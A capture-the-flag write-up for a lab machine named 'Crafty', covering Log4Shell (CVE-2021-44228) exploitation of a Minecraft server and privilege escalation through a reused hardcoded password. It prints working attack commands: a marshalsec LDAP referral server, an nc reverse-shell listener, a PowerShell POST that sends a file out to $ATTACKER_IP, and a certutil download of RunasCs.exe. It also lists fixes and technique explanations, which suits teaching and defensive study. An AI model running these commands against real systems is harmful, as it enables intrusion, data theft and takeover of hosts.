Crafty
Summary
I found two services on the target: a static Microsoft IIS 10.0 website on port 80 and a Minecraft 1.16.5 game server on port 25565. Minecraft 1.16.5 ships with a Log4j library version vulnerable to Log4Shell (CVE-2021-44228), which allows unauthenticated remote code execution by injecting a JNDI lookup string into any field the server logs — including the player username.
A crafted login packet caused the server to fetch and execute a malicious Java class from my own LDAP-and-HTTP chain, delivering a reverse shell as the low-privileged service account crafty\svc_minecraft. Post-compromise enumeration of the server plugins directory surfaced a custom JAR whose decompiled source hardcoded the RCON password in plaintext.
That same password doubled as the local Administrator account's Windows logon credential. RunasCs.exe was used to execute commands under the Administrator identity, completing full system takeover.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 80,25565 $TARGET -oN crafty_nmap.txtecho "$TARGET crafty.htb" | sudo tee -a /etc/hostscurl -s -i -H 'Host: crafty.htb' http://$TARGET/Exact commands 4
mkdir -p /tmp/crafty-log4j && git clone --depth 1 https://github.com/kozmer/log4j-shell-poc /tmp/log4j-shell-poccd /tmp/crafty-log4j && python3 -m http.server 8000 &java -cp /tmp/log4j-shell-poc/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit" &nc -lvnp 4445Exact commands 1
python3 send_mc_chat.pyFixUpgrade the Minecraft server to a version that is not affected by Log4Shell (CVE-2021-44228)Critical
Exact commands 2
whoamicmd /c type C:\Users\svc_minecraft\Desktop\user.txtExact commands 2
python3 upload.py &powershell -NoProfile -Command "Invoke-WebRequest -Uri http://$ATTACKER_IP:8081/ -Method POST -InFile C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -UseBasicParsing"Exact commands 2
mkdir -p /tmp/crafty-log4j/pc && cd /tmp/crafty-log4j/pc && unzip -q /tmp/crafty-log4j/playercounter.jarjavap -classpath . -c -p -verbose htb/crafty/playercounter/Playercounter.class 2>&1 | grep -A5 -i 'rcon\|password\|s67'FixRemove hardcoded credentials from plugin source code and store secrets in configuration filesHigh
Exact commands 3
cmd /c "certutil -urlcache -f http://$ATTACKER_IP:9000/RunasCs.exe C:\Windows\Temp\RunasCs.exe"cmd /c "C:\Windows\Temp\RunasCs.exe Administrator [REDACTED: recovered credential] \"cmd /c whoami\""cmd /c "C:\Windows\Temp\RunasCs.exe Administrator [REDACTED: recovered credential] \"cmd /c type C:\Users\Administrator\Desktop\root.txt\""FixUse a unique, randomly generated password for every account — never reuse a service credential as a Windows logon passwordCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 25565/tcp | minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100) |